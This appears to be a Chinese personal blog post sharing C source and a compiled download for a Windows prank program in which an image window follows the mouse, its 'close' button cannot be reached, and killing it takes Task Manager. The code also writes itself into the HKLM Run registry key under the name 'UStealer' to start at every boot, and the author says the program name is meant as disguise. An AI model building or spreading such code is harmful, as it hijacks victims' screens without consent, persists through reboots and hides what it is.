huidong

首页 | 会员登录 | 关于争取 2022 寒假做出汇东网 Ver3.0.0 !
搜索文章


如图:鼠标右下方会紧跟一个图片(关闭按钮是点不到的)

图片.png


XP下关闭程序只能用任务管理器


程序源码:

#include <easyx.h>

void HKRunator()
{
    //获取程序路径
 
    char programName[100] = { 0 };
    GetModuleFileName(NULL, programName, 100); //调用win api 获得路径
 
    //获取程序路径 -- 结束
 
    HKEY hkey = NULL;
    DWORD rc;
 
    rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项,如果有则打开该注册表项
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_ALL_ACCESS,
        NULL,
        &hkey,
        NULL);
 
    if (rc == ERROR_SUCCESS)
    {
        rc = RegSetValueEx(hkey,
            "UStealer",
            0,
            REG_SZ,
            (const BYTE*)programName,
            lstrlen(programName));
        if (rc == ERROR_SUCCESS)
        {
            RegCloseKey(hkey);
        }
    }
}

int WINAPI _tWinMain
(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPTSTR lpCmdLine,
    int nShowCmd
)
{
    // 模式
    int isSetBootStart = GetPrivateProfileInt("Data", "mode", 1, "./data.ini");

    // window size
    int wnd_width = GetPrivateProfileInt("Data", "width", 100, "./data.ini");
    int wnd_height = GetPrivateProfileInt("Data", "height", 100, "./data.ini");
 
    // 设置开机自启模式
    if (isSetBootStart == 0)
    {
        // 开机自启
        HKRunator();
        return 0;
    }

    // 新建绘图窗口
    initgraph(wnd_width, wnd_height);

    // 删除标题栏
    SetWindowLong(GetHWnd(), GWL_STYLE, GetWindowLong(GetHWnd(), GWL_STYLE) & (!(WS_BORDER)) | WS_VISIBLE);
    // 去掉标题栏遗留下来的黑边
    SetWindowPos(GetHWnd(), HWND_TOP, 0, 0, wnd_width, wnd_height, SWP_NOMOVE);

    loadimage(NULL,"./img.bmp");

    // button "colse"
    setfillcolor(BLUE);
    setlinecolor(WHITE);
    RECT button_close = {wnd_width-40,0,wnd_width,20};
    fillrectangle(button_close.left,button_close.top,button_close.right,button_close.bottom);
    settextcolor(WHITE);
    setbkmode(TRANSPARENT);
    drawtext("关闭",&button_close,DT_VCENTER | DT_CENTER | DT_SINGLELINE);

    // 保存鼠标位置
    POINT point;

    while(true)
    {
        GetCursorPos(&point);   // 获取鼠标指针位置(屏幕坐标)

        // 设置窗口的坐标,跟随Cursor to move
        SetWindowPos(GetHWnd(), HWND_TOPMOST, point.x + 10, point.y + 10, 0, 0, SWP_NOSIZE);

        Sleep(10);
    }


    closegraph();
    return 0;
}


编译好的程序:

release.zip


程序的名称是用来伪装的。




返回首页


Copyright (C) 2018-2024 huidong